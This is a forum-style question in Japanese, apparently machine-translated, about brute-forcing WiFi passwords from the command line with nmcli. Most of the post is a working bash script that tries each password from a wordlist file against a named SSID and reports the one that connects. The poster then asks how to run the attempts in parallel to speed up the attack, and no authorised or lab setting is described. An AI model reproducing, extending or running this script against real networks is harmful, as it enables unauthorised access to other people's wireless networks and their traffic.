私は最近、nmcliを使用してコマンドラインインターフェイス(CLI)からWiFiネットワークに直接接続できることを発見しました。これは、我々が無差別代入スクリプトを開発するためにこれを利用できるかどうか疑問に思います。提供されたコードスニペットは、私が実行したい一般的なプロセスを示しています。
connect_to_wifi() {
local ssid="$1"
local password="$2"
echo -e "\e[92mTrying Password: $password\e[0m"
# Establish connection to WiFi network using nmcli
sudo nmcli device wifi connect "$ssid" password "$password" > /dev/null 2>&1
# Check connection status
if [ $? -eq 0 ]; then
echo ""
echo -e "\e[33mSuccessfully connected to $ssid with password $password\e[0m"
exit 0
else
return 1
fi
}
bruteforce_wifi() {
local ssid="$1"
local password_file="$2"
# Verify if SSID is provided
if [ -z "$ssid" ]; then
echo "Error: SSID is empty."
exit 1
fi
# Use default password file if not specified
password_file="${password_file:-pass.txt}"
# Check existence of file
if [ ! -f "$password_file" ]; then
echo "Error: File $password_file not found."
exit 1
fi
# Read passwords from file and attempt WiFi connection
while IFS= read -r password; do
connect_to_wifi "$ssid" "$password"
done < "$password_file"
}
これで、bruteforce_wifi
目的のSSIDに対して無差別代入攻撃を開始できますbruteforce_wifi Denbroadband pass.txt
。たとえば、このコマンドは正常に実行され、各パスワードを順番に試みます。
ところで、スレッドを実装しようとすると問題が発生します。
sudo nmcli device wifi connect Denbroadband password 238112120 & # '&' is used to place it in the background
sudo nmcli device wifi connect Denbroadband password 329814298
2番目のコマンドの出力は次のとおりです。Error: Connection activation failed: New connection activation was enqueued.
この問題の潜在的な解決策を学びたいです。また、ハンドシェイクがキャプチャされず、後で無差別代入攻撃でクラックする理由を尋ねる人がいる場合、私の好奇心はハンドシェイクに依存しないWiFiネットワークで伝統的な無差別代入方法が可能かどうかを知ることにあることに注目する価値があります。